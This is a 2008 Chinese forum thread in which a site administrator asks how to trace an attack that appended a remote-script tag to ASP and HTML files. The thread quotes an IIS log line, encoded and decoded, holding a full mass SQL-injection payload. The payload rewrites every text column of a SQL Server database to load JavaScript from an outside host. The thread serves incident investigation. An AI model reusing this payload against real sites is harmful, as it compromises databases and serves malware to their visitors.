部分文件被黑客修改，文件尾部被加上<script language="javascript" src="http://evar.lflink.com/click.js?id=15874695&logo=0"></script>这样的代码，有asp文件，也有html文件。

系统存有IIS日志，但如何检查分析日志才能查出这些文件是如何被黑客修改的呢？找不到源头，就不知道如何防御了。向大家求救查源头的方法，先谢谢了！

[ 本帖最后由 梦魂龙 于 2008-5-18 13:30 编辑 ]

如果IIS日志都被写，说明你服务器的安全作的不好哦

不是日志被写，是只有IIS日志，怎么通过查日志来查黑客攻击的途径！

日志其中一行内容
2008-05-17 21:09:40 W3SVC270643106 194.168.0.6 GET /www/jiazhang/showarticle.asp articleid=2938;dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20cUrSoR%20FoR%20sElEcT%20a.nAmE,b.nAmE%20FrOm%20sYsObJeCtS%20a,sYsCoLuMnS%20b%20wHeRe%20a.iD=b.iD%20AnD%20a.xTyPe='u'%20AnD%20(b.xTyPe=99%20oR%20b.xTyPe=35%20oR%20b.xTyPe=231%20oR%20b.xTyPe=167)%20oPeN%20tAbLe_cursoR%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20while(@@fEtCh_status=0)%20bEgIn%20exec('UpDaTe%20['%2b@t%2b']%20sEt%20['%2b@c%2b']=rtrim(convert(varchar,['%2b@c%2b']))%2bcAsT(0x223E3C2F7469746C653E3C736372697074207372633D687474703A2F2F732E736565392E75732F732E6A733E3C2F7363726970743E3C212D2D%20aS%20vArChAr(67))')%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20eNd%20cLoSe%20tAbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR;-- 80 - 219.139.240.147 HTTP/1.1 Mozilla/4.0 - 200 0 0 451 858

看起来很有问题，但看不懂，有人能指点一下吗？

用UnEscape解密解密后的代码，看的出好像是数据库操作的代码，单词都是大小写的，看起来很头痛！如何彻底防止此类事情再次发生？

2008-05-17 21:09:40 W3SVC270643106 194.168.0.6 GET /www/jiazhang/showarticle.asp articleid=2938;dEcLaRe @t vArChAr(255),@c vArChAr(255) dEcLaRe tAbLe_cursoR cUrSoR FoR sElEcT a.nAmE,b.nAmE FrOm sYsObJeCtS a,sYsCoLuMnS b wHeRe a.iD=b.iD AnD a.xTyPe='u' AnD (b.xTyPe=99 oR b.xTyPe=35 oR b.xTyPe=231 oR b.xTyPe=167) oPeN tAbLe_cursoR fEtCh next FrOm tAbLe_cursoR iNtO @t,@c while(@@fEtCh_status=0) bEgIn exec('UpDaTe ['+@t+'] sEt ['+@c+']=rtrim(convert(varchar,['+@c+']))+cAsT(0x223E3C2F7469746C653E3C736372697074207372633D687474703A2F2F732E736565392E75732F732E6A733E3C2F7363726970743E3C212D2D aS vArChAr(67))') fEtCh next FrOm tAbLe_cursoR iNtO @t,@c eNd cLoSe tAbLe_cursoR dEAlLoCaTe tAbLe_cursoR;-- 80 - 219.139.240.147 HTTP/1.1 Mozilla/4.0 - 200 0 0 451 858

IIS挂马